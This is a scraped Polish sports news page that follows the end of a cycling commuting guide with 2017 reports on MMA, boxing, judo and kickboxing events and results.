Po trzecie – liczy się też sposób przewożenia przez Ciebie rzeczy. Z pewnością przyda Ci się bagażnik, sakwy tylne lub przedni koszyk na potrzebne na co dzień rzeczy. Tak po prostu będzie Ci lżej – przez plecak będzie Ci minimalnie ciężej (w zależności od tego, co w nim masz), a jazda z torebką przewieszoną przez jedno ramię nie jest bezpieczna.

Zalety jazdy rowerowej do pracy – budujesz odporność

Spacer w rzęsistym deszczu jest przyjemny tylko w komediach romantycznych. Mało kto lubi biegać czy jeździć podczas ulewy na rowerze, jednak sam spadek temperatury jesienią nie powinien oznaczać rezygnacji z wszelkich aktywności fizycznych na dworze i ograniczenie się przemieszczania się do minimum. Wystarczy odpowiednie ubranie – nawet na deszcz, takie jak sportowa kurtka wodoodporna i wodoszczelna z membraną – aby dojechać do pracy. Jak już wspomnieliśmy, na rower wybieraj ubrania termoaktywne. Klejąca się do ciała bawełniana koszulka nie jest przyjemna, łatwiej też o przewianie, kiedy do ciała przylega mokry materiał. Jeżdżąc na rowerze codziennie w zmiennych warunkach, poprawiasz naturalnie odporność.

Nie wiesz, jak to będzie pierwszy raz pojechać do pracy na rowerze w zimny poranek? Przetestuj swoją trasę w wolny dzień w podobnych warunkach – chociaż ruch na drogach będzie mniejszy, Ciebie i tak nie czeka stanie w korkach, a dowiesz się, ile mniej więcej czasu zajmuje Ci droga do pracy, jaką trasę warto wybrać – czy to ze względu na czas, czy okoliczności przyrody. Powodzenia!

Więcej porad rowerowych:

https://jaki-rower.pl/porady-rowerowe/

https://jaki-rower.pl/najlepsze-rowery-meskie-jaki-rower-dla-mezczyzny-kupic/

https://jaki-rower.pl/co-to-jest-rower-gorski-zasady-doboru-roweru-gorskiego/

Były zawodnik UFC trafi do FEN?

Organizacja Fight Exclusive Night ruszyła na polowanie. Celem łowów stał się doświadczony Damian Grabowski. Czy zawodnik MMA po ponad czterech latach ponownie zaprezentuje się w Polsce?

37-letni Damian Grabowski należy do kategorii tych zawodników, którzy z niejednego pieca chleb jedli. Z pewnością jego przejście do FEN byłoby swego rodzaju hitem transferowym.

W UFC nie dał rady

Pierwszy zawodowy pojedynek Grabowski stoczył ponad dziesięc lat temu i wygrał już w pierwszej rundzie. W 2009 roku wystartował w turnieju wagi ciężkiej UCFC w Wiedniu. Polak wygrał cztery walki, a w finale przez duszenie zza pleców w drugiej rundzie pokonał Serba Miodraga Petkovicia. Później próbował podbić Bellatora. Zawodnik specjalizujący się w brazylijskim jiu-jitsu zaprezentował się w turnieju wagi ciężkiej, jednak w półfinale przegrał z Cole'em Konradem. Dobrze radził sobie w Rosji. W listopadzie 2013 roku pokonując Kenny'ego Garnera, Grabowski sięgnął po pas mistrzowski M-1 Global w wadze ciężkiej. Z tytułu nie cieszył się długo, bo w pierwszej obronie stracił go na rzecz Marcina Tybury. Ale w końcu trafił tam, gdzie chce dojść każdy wojownik MMA. Usługami Grabowskiego zainteresowało się UFC. Jednak tej przygody Polak miło wspominać nie będzie. Trzy walki, trzy porażki i amerykańska organizacja pożegnała się z Grabowskim.

Trzeba jednak przyznać, że na polskim rynku 37-latek stanowi „gorący towar”. Negocjacje z zawodnikiem prowadzi organizacja Fight Exclusive Night. – Damian to znakomity zawodnik i negocjujemy z nim zasady współpracy z FEN. W marcu organizujemy wielką, jubileuszową galę i bardzo chciałbym, aby Grabowski był jednym z jej bohaterów. Z kim bym go zestawił? Może z Danielem Omielańczukiem? To byłoby coś! Jak kraść to miliony – powiedział Paweł Jóźwiak, prezes FEN.

Czy występ Grabowskiego 10 marca na Torwarze jest realny? Włodarze organizacji dokładają wszelkich starań, aby tak się właśnie stało.

Niewykluczone, że FEN wzmocni również inna gwiazda polskiego MMA. Włodarze organizacji rozmawiają z byłym mistrzem KSW w wadze do 84kg Krzysztofem Kułakiem. 

Torwar czeka

Organizacja FEN po raz trzeci będzie gościła na warszawskim Torwarze i po raz kolejny w marcu. Jakby trójek było mało, planowane są trzy walki o pasy mistrzowskie. Gala FEN 20 „Next Level” odbędzie się 10 marca o 18.00. Sportowych wrażeń dostarczą m.in. Kamil Łebkowski, Marcin Naruszczka oraz Marian Ziółkowski.

Fot. Damian Grabowski Facebook

KM

Bokser za miękki na politykę?

Manny Pacquiao nie raz zachwycał bokserski świat genialnymi pojedynkami. „Pacman” postanowił realizować się na arenie politycznej i został senatorem. „Im dalej w las…”. Pacquiao postanowił podzielić się swoimi spostrzeżeniami na temat świata polityki.

39-latek odniósł sukces i chciał się zaangażować w pracę na rzecz poprawy sytuacji na Filipinach. Gdy wszedł do świata polityki, zobaczył jego blaski i cienie.

Liczy się dobro wspólne?

Platon pojmował politykę jako realizację idei dobra, u Arystotelesa było to szczęście jako eudajmonia, czyli troska o dobro wspólne. Inaczej na tę kwestię patrzył Niccolo Machiavelliego. Florencki filozof postrzegał politykę jako dążenie do zdobycia, zachowania i umocnienia władzy. Z kolei w tradycji republikańskiej jest to realizacja dobra wspólnego. Za klasyczną uznawana jest definicja przedstawiona przez Maxa Webera. Niemiecki socjolog politykę przedstawiał jako dążenie do udziału we władzy bądź wywierania wpływu na jej podział.

Jak widzimy na pierwszy plan rzuca nam się kwestia dobra wspólnego i władzy. Praktyka pokazuje, że ten, kto rządzi decyduje o kształcie życia społeczenego. Oczywiście w demokracji konieczne jest poszanowanie prawa i wolności jednostki. Istnieje również opozycja, która bacznie obserwuje i krytykuje poczynania rządzących. Na pozór wszystko wydaje się proste, jednak nie możemy mówić o idylli. Życie pokazuje, że często trudno o kompromis, a „człowiek człowiekowi wilkiem” bądź jak zwracał uwagę Juan Donoso Cortes „natura człowieka jest chora i ułomna”. Jedno jest pewne – wszyscy chcieliby żyć w ładzie i porządku, jednak każdy definiuje go na swój sposób. Stąd liczne konflikty, a przy okazji pojawia się kwestia etyki i moralności.

Przysłowiowy zjadacz chleb obserwując świat polityki bywa zniechęcony. Ciągłe kłótnie, wzajemne obrażanie i pomijanie najpotrzebniejszych potrzeb. Również ta kwestia dotknęła wielkiego boksera. Manny Pacquaio jest senatorem Filipin, ale polityka go rozczarowuje. – Czuję się zniechęcony. Nie przywykłem do politykowania. W polityce nie wiadomo, czy coś jest prawdziwe czy nie. Ludzie mają wiele twarzy – powiedział popularny „Pacman”.

Będzie dalej walczył

Dla Pacquiao głównym problemem jest brak aktywności polityków w celu poprawy w sytuacji w kraju. – Ważne, żeby każdy czuł problemy ubogich. Bogaci je znają, ale nie czują sytuacji biednych. Inaczej to wygląda, kiedy jest rozumiesz – podkreśla Pacquiao.

39-latek wylewa swoje żale, ale nie zamierza rezygnować z polityki. Prawdopodobnie ponownie będzie się ubiegał o urząd senatora w 2022 roku. Wydawało się, że Pacquiao skupi sie wyłącznie na polityce. 9 kwietnia 2016 roku wygrał z Timothym Bradleyem i miała być to jego ostatnia walka. Blisko siedem miesięcy później wrócił i pokonał Jessiego Vargasa. Ostatnio walczył w lipcu, ale zanotował porażkę. Jego pogromcą okazał się Jeff Horn. Pacquaio podkreślał, że będzie chciał skorzystać z możliwości rewanżu.

KM

Srebrna jesień Sarnackiego

Maciej Sarnacki (+100kg) może być zadowolony z tegorocznych startów. 30-letni judoka zwłaszcza w jesiennych występach błyszczy formą. Po raz pierwszy w karierze zawodnik Gwardii Olsztyn zdobył srebro w zawodach rangi Grand Prix. O równie udanej jesieni mogą mówić Kinga Wolszczak (+70kg) i Rafał Kozłowski (90kg).

„Polska złota jesień” w przypadku Sarnackiego wygląda nieco inaczej. Judoka w dwóch kolejnych turniejach dochodził do rywalizacji o zwycięstwo, ale w ostatnich starciach musiał uznać wyższość rywali. 

Najlepszy rok w karierze

Ponad rok temu Maciej Sarnacki zanotował najważniejszy start w karierze. Polak wystąpił w Igrzyskach Olimpijskich w Rio de Janeiro. W pierwszej rundzie odprawił Thormodura Jonssona, ale w kolejnej przegrał z późniejszym brązowym medalistą Orem Sassonem. Ale wszystko wisiało na włosku. W maju zawodnik zerwał przyczep mięśnia dwugłowego i więzadła pobocznego oraz uszkodził nerw strzałkowy. Trwała walka z czasem, ale trudno było przypuszczać, że Sarnacki wystąpi w Rio. Udało się, ale potem 30-latek kolejny występ zaliczył w marcu br. Wygrał rywalizację w Katowicach, co było dobrym prognostykiem przed kwietniowymi mistrzostwami Europy w Warszawie.

Od czempionatu Starego Kontynetu Sarnacki potwierdza, że bez wątpienia jest czołowym, o ile nie najlepszym polskim judoką. W Warszawie walkę o brąz przegrał z Czechem Lukasem Krpalkiem i zajął ostatecznie piąte miejsce. To najlepszy wynik zawodnika Gwardii w mistrzostwach Europy. Rok i dwa lata temu przeszkodą nie do przejścia dla judoki była druga runda.

Przyszedł październik. O ile w Warszawie Sarnacki mógł mieć niesmak, to w Abu Dhabi nie krył radości. W zawodach Grand Slam zajął drugie miejsce. Wcześniej w zmaganiach tej rangi zdobył trzy brązowe medale. Listopad również przyniósł wyjątkowe chwile dla Sarnackiego. Po raz pierwszy w karierze stanął na drugim stopniu podium zawodów rangi Grand Prix. W Hadze lepszy od Polaka okazał się jedynie Roy Meyer. Wcześniej Sarnacki zajmował trzecie miejsca w Tbilisi (2016) i Jeju (2014).

W tym roku Maciej Sarnacki trzy razy znalazł się na podium w międzynarodowych startach. Dwukrotnie był piąty. Również w mistrzostwach Europy zajął piątą pozycję, jedynie w mistrzostwach świata wypadł poniżej oczekiwań i odpadł w pierwszej rundzie. Równy i dobry sezon daje nadzieję, że kolejne starty będą równie udane, a zarówno przełomowe i dadzą Sarnackiemu złote medale w zawodach Grand Prix i Grand Slam.

Kozłowski uparł się na brąz

„Jak Filip z konopi” wyskoczył Rafał Kozłowski, który ponownie błysnął formą. 22-latek zajął trzecie miejsce w Grand Prix w Hadze. Dwa tygodnie temu zdobył brąz młodzieżowych mistrzostw Europy. We wrześniu był również trzeci w Pucharze Europy w Brtysławie.

Cieszy dobra postawa Kingi Wolszczak. Blisko miesiąc temu 16-latka wygrała zawody Pucharu Europy kadetów w Koper. W ostatnim starcie triumfowała w Gyor, gdzie w drodze po złoto pokonała trzy rywalki.

KM

Ladies Fight Night – Double Trouble

Drugie urodziny, dwa dni, dwie gale – “Double Trouble” Ladies Fight Night – już w grudniu w Łodzi! 

Za miesiąc, 15 i 16 grudnia 2017, w łódzkim Klubie Wytwórnia, odbędzie się kolejna gala, jedynej w Europie kobiecej organizacji sztuk walki MMA i K1 Ladies Fight Night. Dwa dni niezapomnianych emocji, potęgowanych podwójną dawką sportowych wrażeń. Nazwa nie jest przypadkowa, grudniowy event łączy ze sobą dwie gale, podczas których zaprezentuje się czołówka polskich jak również najlepszych zawodniczek z Europy (między innymi z Francji, Szwecji, Włoch, Czech i Rumunii) głównie w formule MMA.

Cristina Stanciu vs Magdalena Sormova na LFN 7 – 15 grudnia 2017 r. (piątek)

W walce wieczoru zobaczymy utalentowaną Cristinę Stanciu (Rumunia) – dwukrotnie prezentowała się na UFC vs Magdalena Sormova (Czechy) po raz drugi zaprezentuje się na gali LFN. W Karpaczu czyli, dokładnie rok temu, wyeliminowała Weronikę Zygmunt.

Rymarzak vs Waliczek  na LFN 8 – 16 grudnia 2017 r. (sobota)

Niesamowite spotkanie dwóch doświadczonych wojowniczek, Judyta Rymarzak (Gladiator Siedlce) vs Marta Waliczek (DAAS Berserker's Team Bielsko – Biała). W sobotni wieczór będziemy świadkami pojedynku jedynego w swoim rodzaju, utytułowane zawodniczki w kick-boxingu, po raz pierwszy zaprezentują swoje umiejętności w formule MMA. Która z nich zwycięży?

Podczas “Double Trouble” barwy LFN, również po raz pierwszy reprezentować będą takie zawodniczki jak Basia Nalepka, Izabella Badurek oraz Magdalena Rak.

Rejestracja wejściówek

Pragniemy poinformować, iż wejściówki na nasze gale można uzyskać poprzez rejestrację na naszej odświeżonej stronie: www.lfn.com.pl. Ilość miejsc ograniczona.

Transmisja gal

Gale Ladies Fight Night “Double Trouble” LFN 7 i LFN 8 podobnie jak wszystkie poprzednie będą transmitowane bezpłatnie. Dostęp na naszej stronie Facebook oraz www.lfn.com.pl.

ZAPOWIEDŹ: LFN 7 i 8 – Ladies Fight Night – Double Trouble

Za miesiąc, 15 i 16 grudnia 2017, w łódzkim Klubie Wytwórnia, odbędzie się kolejna gala, jedynej w Europie kobiecej organizacji sztuk walki MMA i K1 Ladies Fight Night. Dwa dni niezapomnianych emocji, potęgowanych podwójną dawką sportowych wrażeń. Nazwa nie jest przypadkowa, grudniowy event łączy ze sobą dwie gale, podczas których zaprezentuje się czołówka polskich jak również najlepszych zawodniczek z Europy (między innymi z Francji, Szwecji, Włoch, Czech i Rumunii) głównie w formule MMA.

[kod]

Polak przegrał z legendą MMA

Marcin Tybura zanotował drugą porażkę w UFC. W Acer Arena w Sydney 32-letni Polak przegrał z Fabricio Werdumem. Udany debiut w najlepszej organizacji MMA na świecie zaliczył Adam Wieczorek.

Na gali UFC Fight Night 121 Tybura stanął przed trudnym zadaniem. Byłemu mistrzowi M-1 Global wagi ciężkiej przyszło zmierzyć się z legendą MMA. Swojej postawy w starciu z Werdumem, Polak wstydzić się nie musi.

Mordercze tempo

Tyburę i Werduma dzieli osiem lat. Zatem Brazylijczyk ma już 40 wiosen, ale formy może mu pozazdrościć niejeden młokos. Były mistrz wagi ciężkiej UFC pokazał, że nadal należy do ścisłej światowej czołówki. Z kolei dla Polaka starcie z utytułowanym Brazylijczykiem było ogromną szansą. Tybura mógł znaleźć się w gronie tych, którzy śmiało mogliby myśleć o walce o pas. W końcu w czerwcu pokonał nie byle kogo, bo byłego mistrza wagi ciężkiej Andreja Arlovskiego. W Sydney Tybura miał przejść kolejny test.

Od początku Werdum nie oszczędzał Polaka. Kolejne kopnięcia, sporo ciosów na korpus, jednak 32-latek starał się bronić i odpierać ataki rywala. Jak wiadomo – najlepszą obroną jest atak i zgodnie z tą zasadą postępował Brazylijczyk, co mogło nieco deprymować Polaka. 40-latek starał się kontrolować starcie, szukał również możliwości sprowadzenia rywalizacji do parteru. Tybura próbował i trafiał pojedynczymi ciosami. Po trzech rundach u Werduma widać było wyraźnie zwolnienie, jednak także Polak złapał zadyszkę. 

W czwartej rundzie były mistrz UFC w końcu sprowadził walkę do parteru, ale Tybura wstał i przeprowadził atak. Najwięcej emocji dostarczyła ostatnia odsłona. Wysokie kopnięcie Polaka dotarło do celu, głowa Werduma została naruszona, ale ten okazał się twardy. Tybura spróbował jeszcze raz, ale przebieg całej walki jednoznacznie wskazywał na to, kto będzie cieszył się ze zwycięstwa. Sędziowie wskazali na Werduma. Tylko jeden dał zwycięską rundę Polakowi – 50:45, 50:45, 49:46.

Dla Marcina Tybura była to trzecia porażka w karierze, a druga w UFC. Ostatnio Polak miał dobrą passę – wygrał trzy starcia. Kolejno triumfował w pojedynkach z Viktorem Pestą, Luisem Henrique Barbosą de Oliveirą oraz wspomnianym Arlovskim.

Udany debiut

Adam Wieczorek miał zadebiutować w UFC przed własną publicznością na gali w Gdańsku. Jednak tak się nie stało ze względów… bezpieczeństwa. Walkę z Anthony'm Hamiltonem przełożono.

Na przestrzeni trzech rund Polak wypunktował 37-letniego Amerykanina, który zantował czwartą porażkę z rzędu. Wieczorek, który swego czasu przegrał z Marcinem Tyburą wygrał dziewiąty pojedynek w karierze.

KM

Kobiece starcie na szczycie

Zapowiada się niezwykle smakowita walka w kobiecym MMA. 30 grudnia na gali UFC 219 w T-Mobile Arenie w Las Vegas Cristiane Justino zmierzy się z Holly Holm. 32-letnia Brazylijka będzie broniła pas wagi piórkowej.

W zimowy wieczór fani sportów walki potrzebują wielkich wrażeń. Przed świętami Bożego Narodzenia odbędzie się gala KSW 41, podczas której zaprezentują się m.in. Borys Mańkowski, Artur Sowiński, Damian Janikowski, Marcin Wrzosek czy Popek. Z kolei 30 grudnia wielkie wydarzenie w Las Vegas. Karta walk gali UFC 219 praktycznie pełna. Głównym wydarzeniem wieczoru pojedynek Cristiane Justino z Holly Holm.

Pierwsza obrona

O starciu Brazylijki z Amerykanką mówiło się od dłuższego czasu, ale w cały proces wdał się element finansowy. Mistrzyni wagi piórkowej nie była zadowolna z propozycji, którą przedstawiała jej organizacja UFC. Nie da się ukryć, że Justino jest pierwszoplanową postacią kobiecego MMA i chciała otrzymywać godziwe wynagrodzenie. W końcu droga do starcia mistrzyni z Holly Holm znalazła szczęśliwy finał.

W Las Vegas „Cyborg” po raz pierwszy będzie broniła pasa wagi piórkowej, która wywalczyła w licpu pokonując Tonyę Evinger. Była mistrzyni organizacji Invicta w kategorii koguciej została znokautowana przez Brazylijkę w trzeciej rundzie. Co ciekawe, pas wagi piórkowej pojawił się na szali, gdyż Germaine de Randamie obawiała się rywalizacji z Justino. W związku z tym UFC odebrała jej tytuł mistrzowski. Starcie z Holm będzie dla Brazylijki czwartym występem w UFC. Wszystkie trzy pojedynki Justino wygrała przed czasem.

36-letnia Holm do starcia z mistrzynią UFC nie będzie przystępowała w roli faworytki. Tak jak dwa lata temu do pojedynku z posiadaczką pasa w kategorii koguciej Rondą Rousey. Wtedy Holm zadziwiła świat i wysokim kopnięciem w drugiej rundzie powaliła „Rowdy” na deski. Nastały wielkie dni dla Amerykanki, jednak później nad jej głową zebrały się czarne chmury. Holm straciła pas w starciu z Mieshą Tate, przegrała dwie kolejne walki i jej sytuacja skomplikowała się. Wygrana w czerwcu z Beathe Correią pozwoliła jej złapać oddech. Teraz po raz kolejny Holm ma szansę ponownie wejść na szczyt. W starciach o stawkę potrafi się wspiąć się na wyżyny. Czy podobnie będzie tym razem?

Esparza zbliży się do walki o pas?

W Las Vegas zaprezentuje się Carla Esparza, z którą w marcu 2015 roku Joanna Jędrzejczyk walczyła o pas wagi słomkowej. Wygrała Polka, ale Amerykanka liczy, że jeszcze dane będzie jej walczyć o tytuł. W tym roku stoczyła dwie walki. Przegrała z Randą Markos i pokonała Marynę Moroz. Teraz przyjdzie jej rywalizować z Cynthią Calvillo, która dotychczas wygrała wszystkie trzy walki w UFC.

Po roku do rywalizacji wraca Khabib Nurmagomedov. W ostatnim starciu (UFC 205) Rosjanin pokonał przed czasem Michaela Johnsona. W Las Vegas niepokonany 29-latek zmierzy się z Edsonem Barbozą. Na UFC 219 zaprezentują się m.in. Jimmie Rivera, Carlos Condit czy Kamaru Usman.

KM

UWAGA: Konkurs na trenerów kadry narodowej PZKB

Zarząd Polskiego Związku Kickboxingu ogłasza konkurs na stanowiska Trenerów Kadr Narodowych PZKB we wszystkich formułach walki w kategoriach wiekowych: kadet, junior, senior

Dotychczasowi Trenerzy Kadr w przypadku chęci kontynuowania pracy z nowym Zarządem PZKB składają następujące dokumenty:

1.Opis pracy szkoleniowej w kadrze z ostatnich dwóch lat. 
2.Propozycje nowych rozwiązań szkoleniowych nakolejne lata.
3.Posiadane kwalifikacje oraz wykształcenie.

Nowe osoby przystępujące do konkursu składają następujące dokumenty:

1.Opis dotychczasowej pracy szkoleniowej w klubach zrzeszonych w PZKB 
2.Osiągnięcia swoich zawodników z ostatnich dwóch lat. 
3.C.V. sportowe w tym posiadane kwalifikacje oraz wykształcenie.

Oferty wraz z dokumentacją należy przesłać do 30.11.2017r. 
Wersję elektroniczną w/w dokumentów należy przesłać na adres: biuro@pzkickboxing.pl

Zmarł Rafael Garcia

Świat boksu pogrążył się w smutku po śmierci Rafaela Garcii. Meksykanin zmarł w wieku 88 lat.

Ta twarz na zawsze utkwi fanom boksu w pamięci. Każdy, kto uważnie śledził pojedynki czołowych amerykańskich pięściarzy nie mógł nie zauważyć Rafaela Garcii (na zdjęciu w lewo). Niejeden mistrz z pewnością przyzna, że nigdy nie pracował z lepszym cutmanem. Pełny profesjonalista, zawsze z największym zaangażowaniem troszczący się o zawodników w przerwach między rundami.

Rafael Garcia praktycznie przez całe życie związany był z boksem. Przez ponad sześć dekand pracował z 35 mistrzami świata. W tym gronie byli m.in. Roberto Duran, Alexis Arguello, Chad Dawson czy Floyd Mayweather Jr.

W ostatnich latach Meksykanin współpracował z popularnym „Moneyem”, który zakończył karierę w 2015 roku z pasami WBC i WBA wagi półśredniej, ale jeszcze wrócił na walkę z Conorem McGregorem. Amerykanin był gwiazdą boksu, a tacy ludzie potrzebują fachowego sztabu. Dlatego też Mayweather postawił na współpracę z Rafaelem Garcią. – Ręce mi dokuczały, ale znalazłem najlepszego eksperta. Nie pozwolę, aby ktokolwiek inny dotknął moich dłoni – mówił swego czasu Mayweather Jr. 

Również Garcia nie miał wątpliwości, że współpracuje z prawdziwym mistrzem. – To są bardzo ważne ręce. W nich są miliony dolarów. Muszę o nie dbać – podkreślał cutman.

Od 2014 roku Rafael Garcia ograniczał swoją aktywność. Zmarł w wieku 88 lat. Świat boksu będzie pamiętał o tym wybitnym fachowcu.

Fot. Floyd Mayweather Jr. Facebook

KM

Trójka na medal

Młodzieżowe mistrzostwa Europy w judo w Podgoricy zakończone. Polacy wywalczyli trzy medale, najlepsi Rosjanie – dwanaście krążków.

Dzielnie walczyli i ich wysiłki przyniosły efekt. Beata Pacut (78kg), Rafał Kozłowski i Piotr Kuczera (90kg) stanęli na podium.

Trójka muszkieterów

Beata Pacut potwierdziła, że w tym roku znajduje się w bardzo dobrej dyspozycji. Judoczka Czarnych Bytom była m.in. o krok od triumfu w zawodach Grand Prix w Taszkiencie. W Podgoricy poprawiła wynik z ubiegłorocznych młodzieżowych mistrzostw Europy, gdzie była siódma. Tegoroczne zmagania Pacut rozpoczęła od pokonania Giorgii Stbagherlin. Co warto dodać, w 2016 roku Wloszka wywalczyła trzecie miejsce w Tel Awiwie. Polka wzięła rewanż na rywalce, która wyeliminowała ją w ćwierćfinale zmagań podczas Pucharu Europy w Bukareszcie. Następnie Polka pokonała Urskę Torkar, ale w półfinale potknęła się na Marii Annie Wagner. W starciu o brąz Pacut triumfowała w potyczce z Niurguianą Nikiforovą, dla której piąte miejsce było najlepszym wynikiem na mistrzowskiej imprezie.

Fantastycznie spisali się Polacy występujący w kategorii 90kg. Piotr Kuczera po raz trzeci stanął na najniższym stopniu mistrzowskiej imprezy. Wcześniej zdobył brąz mistrzostw Europy juniorów i mistrzostw Europy seniorów. W Podgoricy Polak w półfinale musiał uznać wyższość Yahor Varapayeu. Białorusin rok temu sięgnął po srebro mistrzostw Europy U23, teraz ponownie powtórzył ten wynik. Z kolei Kuczera w starciu o brąz pokonał 18-letniego Bośniaka Toniego Mileticia.

Formą błysnął Rafał Kozłowski. Siódmy zawodnik mistrzostw świata juniorów z 2015 roku w Podgoricy wygrał dwie walki, w tym pokonał wspomnianego już Mileticia. W półfinale Polak trafił na niezwykle wymagającego rywala. Mikhail Igolnikov to mistrz Europy juniorów z 2016 roku, w tym roku był drugi w Grand Prix w Tbilisi. Kozłowski wytrzymał blisko 2,5 minuty. W starciu o brąz pokazał charakter i pokonał Gruzina Nodariego Berianiego.

O krok od podium była Anita Formela (+78kg). Polka zaczęła od dwóch zwycięstw, ale potem musiała uznać wyższość Vasiliny Kyrychenko oraz Sebile Akbulut i skończyła rywalizację na piątej pozycji.

Łącznie w Podgoricy wystartowało dziesięcioro Polaków.

Triumf Rosjan

Bezkonkurencyjni okazali się Rosjanie, którzy zdobyli dwanaście medali – po cztery każdego koloru. Na najwyższym stopniu podium stawali: Gamzat Zairbekov (60kg), Saian Ondar (73kg), Mikhail Igolnikov (90kg) oraz Tamerian Bashaev (+100kg). Za ich plecami Białorusini z dorobkiem pięciu krążków (dwa złote). Trzeci w klasyfikacji medalowej byli Holendrzy (trzy krążki).

W zawodach wystartowało 301 judoczek i judoków.

Fot. EJU

KM

Mistrzostwa Świata w Budapeszcie: 12 złotych medali dla Biało-Czerwonych

Aż 12 złotych medali wywalczyli reprezentanci Polski w zakończonych dzisiaj Mistrzostwach Świata w Budapeszcie. Biało-Czerwoni wracają do kraju z 31 medalami, w tym również 4 srebrnymi i 15 brązowymi. To był znakomity występ polskiej drużyny narodowej w kickboxingu.

Polacy zdobyli 10 medali w K-1 Rules (2-2-6), 7 w kick light (4-1-2), 6 w full contact (2-0-4), 4 w low kick (2-0-2) i 4 w light contact (2-1-1). Nasi reprezentanci po raz kolejny potwierdzili, że należą do najlepszych na świecie. Prezes Związku Piotr Siegoczyński, wszyscy szkoleniowcy kadry i klubowi oraz przede wszystkim kibice kickboxingu mają powody do radości.

Walki finałowe podzielone zostały na 2 dni. Wczoraj po 2 tytuły sięgnęła, podobnie jak przed 2 laty, Paulina Jarzmik (-60kg). Zwyciężyła w formułach kick light i light contact. 

-To był mój 2 występ w MŚ w seniorach, a celem była obrona tytułów – mówiła Paulina Jarzmik, 4-krotna już Mistrzyni Świata, który reprezentowała KS X Fight Piaseczno.

Tytuły mistrzowskie obronili także Iwona Nieroda (-56kg) w low kick i Piotr Wypchał w kick light, chociaż zmienił kategorię na -89kg. W jego dotychczasowej wadze -94kg bezkonkurencyjny był Michał Grzesiak.

-To była moja najlepsza walka w turnieju, czułam, że to jest mój dzień i jestem teraz strasznie zadowolona. A jeśli chodzi o najtrudniejszy pojedynek, był nim ten pierwszy, z Serbką – powiedziała Iwona Nieroda po finale z Rosjanką Hiianovą.

29-letni Michał Grzesiak, prowadzący Klub Samoobrony Respekt Ostrów Wielkopolski, przyznał, że o jego sukcesie przesądziła baczna obserwacja wcześniejszych występów Chorwata Miskovicia.

-Miał on ciężki ciężki półfinał, w którym przyjął kilka mocnych kopnięć na udo. Postanowiłem wykorzystać tę sytuację i zacząłem od mocnych kopnięć na udo, co bardzo szybko stało się dobrą drogą do zwycięstwa – dodał kickboxer, który współpracuje z Tomaszem Sroką z Center Team Odolanów.

Złoto do Krakowa przywiezie 37-letni Piotr Wypchał. – W drodze po tytuł pokonałem rywali z Azerbejdżanu, Macedonii I Szwecji. W pierwszej poszło gładko, potem dopiero w końcówce 3 rundy przechylił szalę zwycięstwa w potyczce z wicemistrzem Europy. W półfinale miałem 2 razy na deskach Szweda, który był mega silny i zdeterminowany. W finale była wojna z Chorwatem – opowiadał.

Po mistrzostwo globu sięgnęli także inni Polacy. W wersji kick light, w której Biało-Czerwoni wygrali 4 konkurencje, zwyciężył także aktualny mistrz Europy Mateusz Niżejewski (-63kg). W light contact, poza Pauliną, triumfował Łukasz Wichowski (-84kg). W full contact Mazurek Dąbrowskiego został zagrany dla koleżanki klubowej Iwony Nierody z UKS Diament Pstrągowa Karoliny Dziedzic-Gruszowskiej (-70kg) i utytułowanej zawodniczki, wracającej po długiej przerwie mamy 3 dzieci Beaty Leśnik (+70kg), wcześniej znanej pod nazwiskiem panieńskim Małek.

-W kickboxingu ostatni raz byłem na ME chyba w 2006 roku. W tamtym okresie zdobywałam też medale MŚ i złoto ME w boksie. Teraz staram się trenować dla siebie, najważniejsza jest rodzina, ale pojawiła się szansa startu na MŚ, więc spróbowałam. I po 3 ciężkich walkach mam złoto – stwierdziła zawodniczka z Nowego Sącza.

Z kolei Karolina niedawno wyszła za mąż i teraz walczy pod nazwiskiem Dziedzic-Gruszowska. – W debiucie w MŚ miałam brąz, a teraz interesowało mnie tylko złoto. Mąż bardzo mnie wspiera w tym co robię, jest moim największym fanem.

Ale to nie było koniec emocji na Węgrzech. W sobotę Polacy wystąpili jeszcze w 4 finałach. Adam Gielata (-71kg) sprawił sobie niespodziankę na 21 urodziny i pokonał Bułgara Shumarova. Złoto w K-1 wywalczył też Maksymilian Bratkowicz (-86kg), po zwycięstwie z Brazylijczykiem Codrovilem. W finale low kick Karolina Kubiak (-48kg) wygrała z Rosjanką Sultanovą. Srebrem w K-1 musiał zadowolić się Michał Królik (-60kg) po porażce z Rosjaninem Nadrovem.

-Oczywiście, że liczył się tylko złoty medal. A to zasługa takich ludzi jak Dawid Kasperski, który od pierwszych moich juniorskich MP wpoił mi najsilniejszą psychikę na świecie. Tak samo z moimi trenerami mistrzami w swoim fachu Januszem Janowskim i Kacprem Mielnikiem – powiedział Adam Gielata, Mistrz Europy Juniorów z 2015 r.

W K-1 Rules trenerzy Tomasz Skrzypek, Tomasz Mamulski mieli najmłodszą kadrę, 10 debiutantów, a tymczasem ekipa spisała się na piątkę. – W dzisiejszych finałach zwycięzcy dobrze realizowali założenia taktyczne. Gielata miał wyprzedzać Bułgara, który bez techniki wpychał się w półdystans i nie wchodzić z nim w wymiany. Bratkowicz miał czekać na słabego w ataku Brazylijczyka, przepuszczać, kontrować i ponawiać atak. Królik trafił na znanego sobie przeciwnika, z którym 3 razy przegrał. Dzisiaj był najbliżej zwycięstwa. Trochę za późno podejmował decyzję o ataku i dawał się zaskakiwać seriami ciosów – ocenił Tomasz Skrzypek.

W Budapeszczie rywalizowano we wszystkich formułach. Do ćwierćfinału w pointfightingu (trener Bartosz Baczyński) doszedł jedyny Polak w tej formule Tomasz Kurzeja (-74kg). W sumie startowało ponad 1200 zawodniczek i zawodników z 60 krajów.

Wczoraj srebrne krążki zdobyli Dorota Godzina (-55kg/kick light) w swym ostatnim występie w kickboxingu oraz Michał Bławdziewicz (+91kg) w K-1 Rules. W finale przegrała też walcząca w konkurencji weteranek Marta Kichner-Rządkowska (-65kg) w light contact.

Dla Doroty Godziny był to 6 medal MŚ. Wywalczyła 3 złote, 2 srebrne, a do kolekcji dołożyła srebro, choć w opinii obserwatorów zasłużyła na wygraną.

-W 3 rundzie miałam cały czas lekką przewagę punktową i Węgierka zaczęła się wywracać po akcjach, symulować za mocne techniki. Na 20 sek przed końcem dostałam minus punkt za rzekomy brak kroku w tył po komendzie "break”, co zmieniło werdykt na korzyść rywalki. Chciałam odrabiać punkty, ale ona cały czas się przewracała, więc puściły mi emocje i krzyknęłam, żeby walczyła. Dostałam kolejny minus punkt. Ja więcej atakowałam, trafiałam czystymi technikami, a ona przewracała się, wszystko ją bolało i mimo to i tak wygrała – relacjonowała Dorota Godzina.

